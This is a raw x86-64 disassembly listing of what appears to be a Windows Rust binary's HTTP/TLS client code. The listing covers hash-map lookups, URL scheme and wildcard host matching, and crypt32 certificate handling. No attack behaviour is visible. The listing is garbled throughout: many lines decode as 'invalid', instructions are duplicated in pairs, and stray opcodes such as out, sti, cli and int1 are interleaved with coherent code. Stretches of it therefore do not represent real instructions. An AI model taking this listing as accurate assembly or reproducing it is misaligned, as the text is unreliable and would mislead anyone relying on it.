lea rax, [rdx + 0x1a8]
mov qword [rsp + 0xb8], rax
lea rax, [rdx + 8]
mov qword [rsp + 0x98], rax
pcmpeqd xmm6, xmm6
pxor xmm7, xmm7
lea rax, [rdx + 0x79]
mov qword [rsp + 0xe8], rax
mov rax, qword [rdx]
lea r12, [rsp + 0x1c70]
lea r15, [rsp + 0x150]
mov qword [rsp + 0xa8], rdx
jmp 0x140072bc4
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x40], rsi
mov rax, qword [rsp + 0x7f0]
mov qword [rsp + 0x440], rax
movups xmm0, xmmword [rsp + 0x7c0]
movups xmm1, xmmword [rsp + 0x7d0]
movups xmm2, xmmword [rsp + 0x7e0]
movaps xmmword [rsp + 0x430], xmm2
movaps xmmword [rsp + 0x420], xmm1
movaps xmmword [rsp + 0x410], xmm0
mov r12d, r15d
mov r15, r14
mov byte [rsp + 0xd50], 1
mov dil, 1
movdqu xmm9, xmmword [rsp + 0xd98]
mov r14, qword [rsp + 0xd90]
movzx eax, byte [0x140182310]
mov edx, 0x440
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140078685
mov rsi, rax
mov r8d, 0x88
mov rcx, rax
lea rdx, [rsp + 0xcd0]
call fcn.140106530
mov rax, qword [rsp + 0x30]
mov qword [rsi + 0x88], rax
mov rax, qword [rsp + 0x60]
mov qword [rsi + 0x90], rax
mov byte [rsi + 0x98], bpl
mov byte [rsi + 0x99], bl
mov eax, dword [rsp + 0x17c]
mov dword [rsi + 0x9a], eax
movzx eax, word [rsp + 0x180]
mov word [rsi + 0x9e], ax
mov qword [rsi + 0xa0], r13
mov rax, qword [rsp + 0x40]
mov qword [rsi + 0xa8], rax
mov qword [rsi + 0xb0], r15
mov byte [rsi + 0xb8], r12b
mov eax, dword [rsp + 0x1b8]
mov ecx, dword [rsp + 0x1bb]
mov dword [rsi + 0xb9], eax
mov dword [rsi + 0xbc], ecx
mov rax, qword [rsp + 0x440]
mov qword [rsi + 0xf0], rax
movdqa xmm0, xmmword [rsp + 0x410]
movdqa xmm1, xmmword [rsp + 0x420]
movaps xmm2, xmmword [rsp + 0x430]
movups xmmword [rsi + 0xe0], xmm2
movdqu xmmword [rsi + 0xd0], xmm1
movdqu xmmword [rsi + 0xc0], xmm0
movdqu xmmword [rsi + 0xf8], xmm9
mov qword [rsi + 0x108], r14
mov byte [rsi + 0x110], dil
mov byte [rsi + 0x111], 0
mov bl, 4
lea r12, [rsp + 0x1c70]
lea r15, [rsp + 0x150]
mov rdi, qword [rsp + 0xa8]
mov rcx, rdi
call fcn.140064820
mov qword [rdi], 3
mov qword [rdi + 8], rsi
mov byte [rdi + 0x78], bl
mov rbx, rdi
mov eax, 3
lea rdx, [rax - 3]
lea rcx, [rax - 2]
cmp rdx, 2
mov edx, 0
cmovae rcx, rdx
test rcx, rcx
jne 0x140074735
mov rax, qword [rsp + 0x38]
mov rdi, qword [rax]
lea rcx, [rdi - 1]
cmp rdi, 2
mov eax, 0
cmovae rax, rcx
test rax, rax
jne 0x140074210
mov rcx, qword [rsp + 0x88]
mov rax, qword [rcx + 0x70]
mov qword [rsp + 0xd40], rax
movups xmm0, xmmword [rcx + 0x60]
movaps xmmword [rsp + 0xd30], xmm0
movups xmm0, xmmword [rcx + 0x50]
movaps xmmword [rsp + 0xd20], xmm0
and byte [0x150162c50], cl
movaps xmmword [rsp + 0xd10], xmm0
and byte [0x150162c50], cl
movaps xmmword [rsp + 0xd10], xmm0
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
adc byte [rcx + 0x10], cl
adc byte [rcx + 0x10], cl
movups xmm2, xmmword [rcx + 0x20]
movups xmm3, xmmword [rcx + 0x30]
movaps xmmword [rsp + 0xd00], xmm3
movaps xmmword [rsp + 0xcf0], xmm2
movaps xmmword [rsp + 0xce0], xmm1
movaps xmmword [rsp + 0xcd0], xmm0
mov rcx, qword [rsp + 0x90]
mov rax, qword [rcx + 0x50]
lea rsi, [rsp + 0xd48]
mov qword [rsi + 0x50], rax
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rsi + 0x40], xmm0
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmm2, xmmword [rcx + 0x20]
movups xmm3, xmmword [rcx + 0x30]
movups xmmword [rsi + 0x30], xmm3
movups xmmword [rsi + 0x20], xmm2
push rsi
and byte [rdi], cl
adc dword [rsi + 0x10], ecx
push rsi
and byte [rdi], cl
adc dword [rsi + 0x10], ecx
movups xmmword [rsi], xmm0
mov r8d, 0xd0
lea rcx, [rsp + 0x3420]
lea rdx, [rsp + 0xcd0]
lea edx, [rsp + 0xcd0]
lea edx, [rsp + 0xcd0]
call fcn.140106530
mov rax, qword [rsp + 0x38]
mov qword [rax], 3
cmp rdi, 1
ja 0x1400784e8
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0xcd0], rdi
mov rax, qword [rsp + 0x3490]
mov qword [rsi], rax
mov dword [rsi], eax
mov dword [rsi], eax
movups xmm0, xmmword [rsp + 0x3480]
xor byte [rax + rax], 0
movups xmmword [rsi - 0x10], xmm0
movups xmm0, xmmword [rsp + 0x3470]
test byte [rax + rsi*2], ah
xor al, 0
add byte [rdi], cl
adc dword [rsi - 0x20], eax
test byte [rax + rsi*2], ah
xor al, 0
add byte [rdi], cl
adc dword [rsi - 0x20], eax
movups xmm0, xmmword [rsp + 0x3460]
add byte [rax], al
movups xmmword [rsi - 0x30], xmm0
movups xmm0, xmmword [rsp + 0x3420]
movups xmm1, xmmword [rsp + 0x3430]
mov word [rax + rsi], fs
xor al, 0
add byte [rdi], cl
adc byte [rsp + 0x3440], dl
mov word [rax + rsi], fs
xor al, 0
add byte [rdi], cl
adc byte [rsp + 0x3440], dl
movups xmm3, xmmword [rsp + 0x3450]
movups xmmword [rsi - 0x40], xmm3
movups xmmword [rsi - 0x50], xmm2
movups xmmword [rsi - 0x60], xmm1
movups xmmword [rsi - 0x70], xmm0
lea rax, [rsp + 0x3498]
movups xmm0, xmmword [rax]
add bl, dh
movq mm1, qword [rax + 0x10]
add bl, dh
movq mm1, qword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
push rax
and byte [rdi], cl
adc byte [rax + 0x30], bl
movaps xmmword [rsp + 0x220], xmm0
movdqa xmmword [rsp + 0x230], xmm1
movaps xmmword [rsp + 0x240], xmm2
test byte [rax + riz], ah
add al, byte [rax]
add byte [rsi + 0xf], ah
jg 0x140072d14
and al, 0x30
add al, byte [rax]
add byte [rdi], cl
sub dword [rsp + 0x240], edx
movaps xmmword [rsp + 0x250], xmm3
movdqu xmm0, xmmword [rax + 0x40]
movdqa xmmword [rsp + 0x260], xmm0
add byte [rax], al
add byte [rax], al
mov rax, qword [rax + 0x50]
push rax
mov qword [rsp + 0x270], rax
mov rax, qword [rsp + 0xd08]
add byte [rax - 0x77], cl
and al, 0x58
add byte [rax - 0x77], cl
and al, 0x58
mov eax, dword [rsp + 0xd10]
mov dword [rsp + 0x60], eax
mov rcx, qword [rsp + 0xd40]
mov rax, qword [rcx + 0x20]
test rax, rax
je 0x1400738d0
mov qword [rsp + 0x48], rcx
mov rbx, qword [rcx + 0x18]
mov rcx, rax
shl rcx, 7
lea rax, [rcx + rax*8]
add rax, rbx
mov qword [rsp + 0x40], rax
jmp 0x140072e28
test al, al
je 0x140073b3f
mov qword [rsp + 0x1c70], 2
add rbx, 0x88
cmp rbx, qword [rsp + 0x40]
je 0x1400738d0
lea rcx, [rbx + 0x58]
xor eax, eax
mov ebp, 0
movabs rdx, 0x8000000000000000
cmp qword [rbx + 0x58], rdx
cmovne rbp, rcx
je 0x1400733a0
ror byte [rax + 0x29], cl
ret 0x149
sub rdx, rax
add r13, rax
mov rsi, rdx
jmp 0x140072f7b
mov qword [rsp + 0x150], r13
mov qword [rsp + 0x158], rsi
mov rcx, r15
call fcn.140015820
mov r14, rax
test r14b, 1
jne 0x140073010
movdqa xmmword [rsp + 0x30d0], xmm7
mov r8d, 8
mov rcx, r15
lea rdx, [rsp + 0x30d0]
call fcn.140015d70
cmp rax, 8
jne 0x1400730d9
movdqa xmm0, xmmword [rsp + 0x30d0]
movdqa xmm1, xmm0
punpckhbw xmm1, xmm7
pshuflw xmm1, xmm1, 0xb1
pshufhw xmm1, xmm1, 0xb1
punpcklbw xmm0, xmm7
pshuflw xmm0, xmm0, 0xb1
pshufhw xmm0, xmm0, 0xb1
packuswb xmm0, xmm1
cmp qword [rsp + 0x158], 0
jne 0x1400731b0
pshufd xmm8, xmm0, 0xf9
movd eax, xmm0
mov r15b, 1
jmp 0x140073029
cmp qword [rsp + 0x158], 0
add dword [rax], eax
add byte [rax], al
jne 0x1400731b0
mov rax, r14
shr rax, 8
xor r15d, r15d
mov byte [rsp + 0x30d0], r15b
mov dword [rsp + 0x30d1], eax
movq qword [rsp + 0x30d5], xmm8
pshufd xmm0, xmm8, 0xee
movd dword [rsp + 0x30dd], xmm0
mov rax, qword [rbp + 0x10]
test rax, rax
je case.0x14005088a.118
mov rsi, qword [rbp + 8]
mov rdi, qword [rsp + 0x30d1]
test r14b, 1
jne 0x140073348
mov r14, qword [rsp + 0x30d9]
add rax, rax
lea r12, [rax + rax*8]
jmp 0x1400730b6
mov rcx, rsi
lea rdx, [rsp + 0x30d0]
call fcn.140044660
test al, al
jne 0x140073270
add rsi, 0x12
add r12, 0xffffffffffffffee
je 0x140073274
cmp byte [rsi], 2
jne 0x140073090
cmp r15b, byte [rsi + 1]
jne 0x1400730a8
int1
or rcx, rax
jne 0x1400730a8
jmp 0x140073270
test dl, 1
jne 0x1400731b0
mov rcx, qword [rsp + 0x158]
test rcx, rcx
je 0x1400731b0
mov rdx, qword [rsp + 0x150]
cmp byte [rdx], 0x3a
jne 0x1400731b0
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x7d], cl
stc
add dword [rdi], ecx
test byte [rdx + 0x48000000], ah
add ecx, 0xfffffffe
cmp rcx, 1
je 0x1400731b0
add rcx, 0xfffffffffffffffe
movzx r8d, byte [rdx + 1]
add rdx, 2
mov qword [rsp + 0x150], rdx
mov qword [rsp + 0x158], rcx
cmp r8b, 0x3a
jne 0x1400731b0
mov qword [rsp + 0x326], 0
mov qword [rsp + 0x320], 0
mov r8d, 7
sub r8, rax
jb 0x1400785c2
mov rcx, r15
lea rdx, [rsp + 0x320]
call fcn.140015d70
mov ecx, 8
sub rcx, rax
jb 0x1400785d9
cmp rax, 8
je 0x1400785ea
lea rcx, [rsp + rcx*2]
add rcx, 0x30d0
add rax, rax
lea rdx, [rsp + 0x320]
mov r8, rax
call fcn.140106530
jmp 0x140072fc5
invalid
mov rax, qword [rbp + 0x28]
test rax, rax
je 0x140073392
mov r15, qword [rbp + 0x20]
shl rax, 3
lea r12, [rax + rax*2]
xor edi, edi
jmp 0x1400731dd
add rdi, 0x18
cmp r12, rdi
je 0x140073274
mov rbp, qword [r15 + rdi + 8]
mov r14, qword [r15 + rdi + 0x10]
cmp rsi, r14
jne 0x1400731fe
mov rcx, rbp
mov rdx, r13
mov r8, rsi
call fcn.140106bb0
test eax, eax
invalid
je 0x140073270
sal byte [rdx + rsi*2 + 0x4d], 0x85
div byte [rdx + riz + 0x49]
lea eax, [rsi - 1]
test r14, r14
je 0x140073225
lea rax, [r14 - 1]
cmp rax, rsi
jne 0x140073225
cmp byte [rbp], 0x2e
jne 0x140073225
jne 0x140073225
lea rcx, [rbp + 1]
mov rdx, r13
mov r8, rsi
call fcn.140106bb0
test eax, eax
je 0x140073270
mov rdx, rsi
sub rdx, r14
jb 0x14007323f
jne 0x140073272
or dword [rax], eax
test eax, eax
je 0x14007324d
cmp r14, 1
jne 0x1400731d0
cmp byte [rbp], 0x2a
jne 0x1400731d0
jmp 0x140073270
test r14, r14
je 0x140073258
cmp byte [rbp], 0x2e
je 0x140073270
not r14
add r14, rsi
jae 0x1400731d0
cmp byte [r13 + r14], 0x2e
jne 0x1400731d0
push qword [rax + 0x3102eb01]
ror byte [rbp + rcx*4 - 0x5c], 0x24
jo 0x140073298
mov al, 1
jmp 0x140073276
xor eax, eax
lea r12, [rsp + 0x1c70]
add byte [rax], al
lea r15, [rsp + 0x150]
jmp 0x1400733a0
invalid
add dword [rax], eax
invalid
adc eax, 0x31000001
shr bl, 0xef
mov r8, rdx
nop word cs:[rax + rax]
invalid
xor eax, eax
jmp case.0x140051497.107
nop dword [rax + rax]
add byte [rax + 0x39], cl
int1
cmp rcx, rsi
je 0x140072f6e
mov r9, rsi
int1
movzx r10d, byte [rsi - 1]
test r10b, r10b
sar byte [rax + 0xa], cl
sar byte [rax + 0xa], cl
lea rsi, [r9 - 1]
movzx r10d, r10b
jmp 0x140073326
invalid
movzx r11w, byte [r9 - 2]
movzx r11d, byte [r9 - 2]
pop rcx
inc byte [rcx - 0x80]
sti
sar byte [rbp + 0x24], 0x41
movzx edi, byte [rcx - 3]
std
cmp r11b, 0xc0
jge case.0x1400698a5.50
movzx edi, byte [r9 - 3]
std
cmp dil, 0xbf
jg 0x1400732f9
lea rsi, [r9 - 4]
movzx r14d, byte [r9 - 4]
cld
cld
and r14d, 7
shl r14d, 6
and edi, 0x3f
or edi, r14d
jmp 0x140073300
lea rsi, [r9 - 2]
and r11d, 0x1f
invalid
jmp 0x14007330a
invalid
lea rsi, [r9 - 3]
and edi, 0xf
shl edi, 6
out 6, eax
and r11d, 0x3f
or r11d, edi
shl r11d, 6
shl ebx, 6
and r10b, 0x3f
movzx r10d, r10b
movzx edx, dl
movzx edx, dl
or r10d, r11d
cmp r10d, 0x110000
cli
add byte [rax], al
adc dword [rax], eax
invalid
cli
add byte [rax], al
adc dword [rax], eax
invalid
add byte [rdi], cl
test byte [rax - 4], cl
invalid
je 0x140072f6e
cmp r10d, 0x5b
je 0x1400732a0
test byte [rax - 1], dh
invalid
invalid
test byte [rax - 1], dh
invalid
inc dword [rcx - 0x7d]
cli
pop rbp
cmp r10d, 0x5d
je 0x1400732a0
sub r8, rcx
add r8, r9
add eax, ecx
add eax, ecx
mov rdx, r8
jmp 0x140072f6e
add rax, rax
lea r14, [rax + rax*8]
ror byte [rbp + rcx*4 - 0x44], 0x24
push rax
add dword [rax], eax
add bl, ch
invalid
ror byte [rbp + rcx*4 - 0x44], 0x24
push rax
add dword [rax], eax
add bl, ch
and eax, 0x801f0f
add byte [rax], 0
invalid
add byte [rax], 0
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rcx, rsi
lea rdx, [rsp + 0x30d0]
call fcn.140044660
test al, al
jne case.0x14006bdd6.39
invalid
inc dword [rax + rax*8 - 0x7cb7e58b]
sbb cl, byte [rax - 0x7d]
add rsi, 0x12
add r14, 0xffffffffffffffee
je 0x140073392
invalid
cmp byte [rsi], 2
jne 0x140073360
cmp byte [rsi + 1], 0
jne 0x140073374
mov al, 1
jmp 0x1400733a0
add ebx, ebp
invalid
xor eax, eax
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
shl byte [rsi + 0x66], 0x66
nop dword cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov rcx, qword [rbx]
lea rdx, [0x140178618]
add byte [rax], al
mov rcx, qword [rbx]
lea rdx, [0x140178618]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
invalid
test al, al
jne 0x140072e0a
test al, al
je 0x140078151
cmp al, 2
jne 0x1400735c5
test edx, esi
add dword [rax], eax
invalid
test edx, esi
add dword [rax], eax
add byte [rax - 0x75], cl
mov rax, qword [rsp + 0x228]
invalid
invalid
js case.0x1400733b1.4
invalid
mov rax, qword [rsp + 0x228]
cmp qword [rax + 0x10], 4
adc byte [rdi + rcx], al
test dword [rdx + rdi*8], esp
invalid
invalid
adc byte [rdi + rcx], al
add al, 0xf
test dword [rdx + rdi*8], esp
invalid
test al, al
jne 0x140072e0a
lea r8, [rsp + 0x220]
call fcn.14005af00
mov rsi, qword [rsp + 0x1c70]
add al, byte [rax]
add al, ch
cmc
jp 0x140073408
dec dword [rax - 0x75]
mov ah, 0x24
jo 0x14007342d
cmp rsi, 2
je 0x140072e16
jmp 0x140073c69
test al, al
jne 0x140072e0a
ror byte [rdi], 0x84
invalid
test al, al
jne 0x140072e0a
and al, 0x20
add al, byte [rax]
add byte [rax + rax*8 + 0x4ce2840f], al
add byte [rax], al
cmp al, 2
jne 0x1400734ca
mov rax, qword [rsp + 0x228]
mov rcx, qword [rax + 8]
mov qword [rsp + 0x30], rcx
mov r13, qword [rax + 0x10]
mov rdx, qword [rbx + 8]
cmp qword [rdx + 0x28], 0
jne 0x140073503
jmp 0x140073894
add eax, dword [rax]
add byte [rax + 0x22124bc], al
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xff9a0
je 0x140072e0a
mov ecx, dword [rax]
mov edx, 0x70747468
xor ecx, edx
movzx eax, byte [rax + 4]
xor eax, 0x73
or eax, ecx
jne 0x140072e0a
jmp 0x140073b9c
xor r13d, r13d
cmp byte [rsp + 0x221], 0
sete r13b
lea rcx, [0x140172e47]
lea rax, [0x140172e43]
cmove rcx, rax
mov qword [rsp + 0x30], rcx
xor r13, 5
mov rdx, qword [rbx + 8]
cmp qword [rdx + 0x28], 0
je 0x140073894
mov r8, qword [rdx + 0x30]
mov r9, qword [rdx + 0x38]
mov r11, r8
movabs rax, 0x736f6d6570736575
xor r11, rax
mov r10, r9
movabs rax, 0x646f72616e646f6d
xor r10, rax
movabs rax, 0x6c7967656e657261
xor r8, rax
movabs rax, 0x7465646279746573
xor r9, rax
mov rax, r13
xor r14d, r14d
and rax, 0xfffffffffffffff8
je 0x1400735eb
mov r12, qword [rsp + 0x30]
nop word [rax + rax]
add r11, r10
rol r10, 0xd
mov rcx, qword [r12 + r14]
xor r10, r11
rol r11, 0x20
xor r9, rcx
add r8, r9
rol r9, 0x10
xor r9, r8
add r11, r9
rol r9, 0x15
add r8, r10
rol r10, 0x11
xor r10, r8
rol r8, 0x20
xor r9, r11
xor r11, rcx
add r14, 8
cmp r14, rax
jb 0x140073560
mov edi, r13d
and edi, 7
cmp edi, 4
jb 0x1400735fb
mov r15d, dword [r12 + r14]
mov eax, 4
mov rcx, rax
or rcx, 1
cmp rcx, rdi
jb 0x14007360c
jmp 0x140073626
cmp byte [rsp + 0x221], 0
lea rax, [0x140172e43]
jne 0x140072e0a
mov r12, qword [rsp + 0x30]
mov edi, r13d
and edi, 7
cmp edi, 4
jae 0x1400735ae
xor r15d, r15d
xor eax, eax
mov rcx, rax
or rcx, 1
cmp rcx, rdi
jae 0x140073626
lea rcx, [r12 + rax]
movzx esi, word [r14 + rcx]
lea ecx, [rax*8]
shl rsi, cl
or r15, rsi
or rax, 2
cmp rax, rdi
jae 0x140073640
add r14, rax
movzx esi, byte [r12 + r14]
shl eax, 3
mov ecx, eax
shl rsi, cl
or r15, rsi
jmp 0x140073645
test rdi, rdi
je 0x140073697
lea ecx, [rdi*8]
mov eax, 0xff
shl rax, cl
or rax, r15
cmp rdi, 7
jne 0x14007369c
add r11, r10
rol r10, 0xd
xor r9, rax
xor r10, r11
rol r11, 0x20
add r8, r9
rol r9, 0x10
xor r9, r8
add r11, r9
rol r9, 0x15
xor r9, r11
add r8, r10
rol r10, 0x11
xor r10, r8
rol r8, 0x20
xor r11, rax
xor eax, eax
jmp 0x14007369c
mov eax, 0xff
mov rcx, r13
shl rcx, 0x38
movabs rsi, 0x100000000000000
add rcx, rsi
add r11, r10
rol r10, 0xd
or rcx, rax
xor r10, r11
rol r11, 0x20
xor r9, rcx
add r8, r9
rol r9, 0x10
xor r9, r8
add r11, r9
rol r9, 0x15
add r8, r10
rol r10, 0x11
xor r9, r11
xor r10, r8
rol r8, 0x20
xor r11, rcx
add r11, r10
rol r10, 0xd
xor r10, r11
rol r11, 0x20
xor r8, 0xff
add r8, r9
rol r9, 0x10
xor r9, r8
add r11, r9
rol r9, 0x15
add r8, r10
rol r10, 0x11
xor r10, r8
rol r8, 0x20
xor r9, r11
add r11, r10
rol r10, 0xd
xor r10, r11
rol r11, 0x20
add r8, r9
rol r9, 0x10
xor r9, r8
add r11, r9
rol r9, 0x15
add r8, r10
rol r10, 0x11
xor r10, r8
rol r8, 0x20
xor r9, r11
add r11, r10
rol r10, 0xd
add r8, r9
rol r9, 0x10
xor r9, r8
rol r9, 0x15
xor r10, r11
add r8, r10
rol r10, 0x11
mov rdi, r8
rol rdi, 0x20
xor rdi, r10
xor rdi, r9
xor rdi, r8
mov r14, qword [rdx + 0x10]
mov r15, qword [rdx + 0x18]
mov rax, rdi
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm9, xmm0, 0
xor r12d, r12d
and rdi, r15
movdqu xmm10, xmmword [r14 + rdi]
movdqa xmm0, xmm10
pcmpeqb xmm0, xmm9
pmovmskb esi, xmm0
test esi, esi
jne 0x1400737ec
pcmpeqb xmm10, xmm6
pmovmskb eax, xmm10
test eax, eax
jne 0x140073894
add rdi, r12
add rdi, 0x10
add r12, 0x10
jmp 0x1400737a4
lea eax, [rsi - 1]
and eax, esi
mov esi, eax
test ax, ax
je 0x1400737bf
tzcnt eax, esi
add rax, rdi
and rax, r15
neg rax
imul rbp, rax, 0x68
cmp qword [r14 + rbp - 0x58], r13
jne 0x1400737e0
add rbp, r14
mov rdx, qword [rbp - 0x60]
mov rcx, qword [rsp + 0x30]
mov r8, r13
call fcn.140106bb0
test eax, eax
jne 0x1400737e0
mov rsi, qword [rbp - 0x50]
mov dil, 2
cmp byte [rbp - 8], 2
je 0x140073847
lea rdx, [rbp - 0x10]
mov rax, qword [rbp - 0x28]
mov r8, qword [rbp - 0x20]
mov r9, qword [rbp - 0x18]
lea rcx, [rsp + 0x30d0]
call qword [rax]
movzx edi, byte [rbp - 8]
lea rdx, [rbp - 0x30]
mov rax, qword [rbp - 0x48]
mov r8, qword [rbp - 0x40]
mov r9, qword [rbp - 0x38]
lea r14, [rsp + 0x1c78]
mov rcx, r14
call qword [rax]
mov qword [rsp + 0x1c70], rsi
movdqu xmm0, xmmword [rsp + 0x30d0]
movdqu xmm1, xmmword [rsp + 0x30e0]
movdqu xmmword [r14 + 0x30], xmm1
movdqu xmmword [r14 + 0x20], xmm0
mov byte [rsp + 0x1cb8], dil
jmp 0x1400738a5
mov qword [rsp + 0x1c70], 2
mov esi, 2
lea r12, [rsp + 0x1c70]
lea r15, [rsp + 0x150]
cmp rsi, 2
je 0x140072e16
jmp 0x140073c69
mov rdi, qword [rsp + 0xcf0]
lock inc qword [rdi]
jle case.0x14007476f.2
mov rdi, qword [rbx + 8]
mov sil, 2
cmp byte [rbx + 0x50], 2
je 0x140073bc7
lea rdx, [rbx + 0x48]
mov rax, qword [rbx + 0x30]
mov r8, qword [rbx + 0x38]
mov r9, qword [rbx + 0x40]
lea rcx, [rsp + 0x3b0]
call qword [rax]
movzx esi, byte [rbx + 0x50]
lea rdx, [rbx + 0x28]
mov rax, qword [rbx + 0x10]
mov r8, qword [rbx + 0x18]
mov r9, qword [rbx + 0x20]
lea rbx, [rsp + 0x1c78]
mov rcx, rbx
call qword [rax]
mov qword [rsp + 0x1c70], rdi
lea rax, [rsp + 0x3b0]
jmp 0x140073c4e
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movdqu xmmword [rbx + 0x30], xmm1
movdqu xmmword [rbx + 0x20], xmm0
mov byte [rsp + 0x1cb8], sil
mov rdi, qword [rsp + 0xcf0]
lock inc qword [rdi]
jle case.0x14007476f.2
mov rbx, qword [rsp + 0xcf8]
mov r15, qword [rsp + 0xd00]
lock inc qword [rbx]
mov rax, qword [rsp + 0x50]
jle case.0x14007476f.2
test rax, rax
je 0x140073cb9
mov rcx, qword [rsp + 0xcd8]
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov qword [rsp + 0x70], rax
mov esi, 1
jmp 0x140073cbb
xor esi, esi
mov rcx, qword [rsp + 0xce0]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
mov r13, rax
movzx ebp, byte [rsp + 0xcec]
movzx r14d, byte [rsp + 0xced]
movq xmm9, qword [rsp + 0xce8]
mov rax, qword [rsp + 0x48]
lock inc qword [rax]
jle case.0x14007476f.2
mov qword [rsp + 0x30], rsi
movzx eax, byte [rsp + 0xd48]
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0xd49]
mov byte [rsp + 0x50], al
movzx eax, byte [rsp + 0xd4a]
mov byte [rsp + 0x68], al
mov r12b, 2
cmp byte [rsp + 0xd38], 2
je 0x140073d5f
mov rax, qword [rsp + 0xd18]
mov r8, qword [rsp + 0xd20]
mov r9, qword [rsp + 0xd28]
lea rcx, [rsp + 0x30d0]
lea rdx, [rsp + 0xd30]
call qword [rax]
movzx r12d, byte [rsp + 0xd38]
movups xmm0, xmmword [rsp + 0x30d0]
movups xmm1, xmmword [rsp + 0x30e0]
lea rax, [rsp + 0x43c4]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
movzx eax, byte [0x140182310]
mov edx, 0x4cf8
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400785b3
mov rsi, rax
mov rax, qword [rsp + 0x30]
mov qword [rsi], rax
mov rax, qword [rsp + 0x70]
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], r13
movd dword [rsi + 0x18], xmm9
mov byte [rsi + 0x1c], bpl
mov byte [rsi + 0x1d], r14b
mov qword [rsi + 0x20], rdi
mov qword [rsi + 0x28], rbx
mov qword [rsi + 0x30], r15
mov rdx, qword [rsp + 0x58]
mov qword [rsi + 0x38], rdx
mov ecx, dword [rsp + 0x60]
mov dword [rsi + 0x40], ecx
movups xmm0, xmmword [rsp + 0x43c0]
movups xmm1, xmmword [rsp + 0x43d0]
movups xmmword [rsi + 0x44], xmm0
movups xmmword [rsi + 0x54], xmm1
mov eax, dword [rsp + 0x43e0]
mov dword [rsi + 0x64], eax
mov byte [rsi + 0x68], r12b
mov rax, qword [rsp + 0x48]
mov qword [rsi + 0x70], rax
movzx eax, byte [rsp + 0x40]
mov byte [rsi + 0x78], al
movzx eax, byte [rsp + 0x50]
mov byte [rsi + 0x79], al
movzx eax, byte [rsp + 0x68]
mov byte [rsi + 0x7a], al
movups xmm0, xmmword [rsp + 0x1cb0]
movups xmmword [rsi + 0xc0], xmm0
movups xmm0, xmmword [rsp + 0x1c70]
movups xmm1, xmmword [rsp + 0x1c80]
movups xmm2, xmmword [rsp + 0x1c90]
movups xmm3, xmmword [rsp + 0x1ca0]
movups xmmword [rsi + 0xb0], xmm3
movups xmmword [rsi + 0xa0], xmm2
movups xmmword [rsi + 0x90], xmm1
movups xmmword [rsi + 0x80], xmm0
movaps xmm0, xmmword [rsp + 0x220]
movdqa xmm1, xmmword [rsp + 0x230]
movaps xmm2, xmmword [rsp + 0x240]
movaps xmm3, xmmword [rsp + 0x250]
movups xmmword [rsi + 0xd0], xmm0
movdqu xmmword [rsi + 0xe0], xmm1
movups xmmword [rsi + 0xf0], xmm2
movups xmmword [rsi + 0x100], xmm3
movdqa xmm0, xmmword [rsp + 0x260]
movdqu xmmword [rsi + 0x110], xmm0
mov rax, qword [rsp + 0x270]
mov qword [rsi + 0x120], rax
mov byte [rsi + 0x2d2], 0
mov qword [rsi + 0x2638], rdx
mov dword [rsi + 0x2640], ecx
mov rax, rsi
add rax, 0x2648
lea rdi, [0x140143da8]
mov rcx, qword [rsp + 0x38]
mov byte [rax], 0
mov rax, qword [rcx]
lea rcx, [rax - 1]
cmp rax, 2
mov eax, 0
cmovae rax, rcx
cmp rax, 1
lea r12, [rsp + 0x1c70]
lea r15, [rsp + 0x150]
je 0x1400740c0
test rax, rax
jne 0x1400740ff
mov rbx, qword [rsp + 0xa8]
mov rax, qword [rbx + 0x100]
lock dec qword [rax]
jne 0x140073ff0
mov rcx, qword [rbx + 0x100]
call fcn.1400398e0
mov rax, qword [rbx + 0x108]
lock dec qword [rax]
je 0x140074001
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x140073f81
mov rax, qword [rsp + 0x88]
mov rcx, qword [rax]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [rbx + 0xf0]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
mov rax, qword [rbx + 0x150]
lock dec qword [rax]
jne 0x140074030
mov rcx, qword [rbx + 0x150]
call fcn.140052260
cmp byte [rbx + 0x148], 2
je 0x14007403d
mov rax, qword [rbx + 0x128]
mov rdx, qword [rbx + 0x130]
mov r8, qword [rbx + 0x138]
mov rcx, qword [rsp + 0xb0]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x90]
cmp byte [rax], 2
jae 0x14007404a
jmp 0x140074075
mov rax, qword [rbx + 0x108]
lock dec qword [rax]
jne 0x140073f65
mov rcx, qword [rbx + 0x108]
mov rdx, qword [rbx + 0x110]
call fcn.140004950
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
jne 0x140073f70
jmp 0x140073f81
cmp byte [rbx + 0x148], 2
jne 0x140073fba
mov rax, qword [rsp + 0x90]
cmp byte [rax], 2
jb 0x140074075
mov r14, qword [rbx + 0x168]
lea rcx, [r14 + 0x18]
mov rax, qword [r14]
mov rdx, qword [r14 + 8]
mov r8, qword [r14 + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbx + 0x170]
mov rdx, qword [rbx + 0x178]
mov r8, qword [rbx + 0x180]
mov rcx, qword [rsp + 0x80]
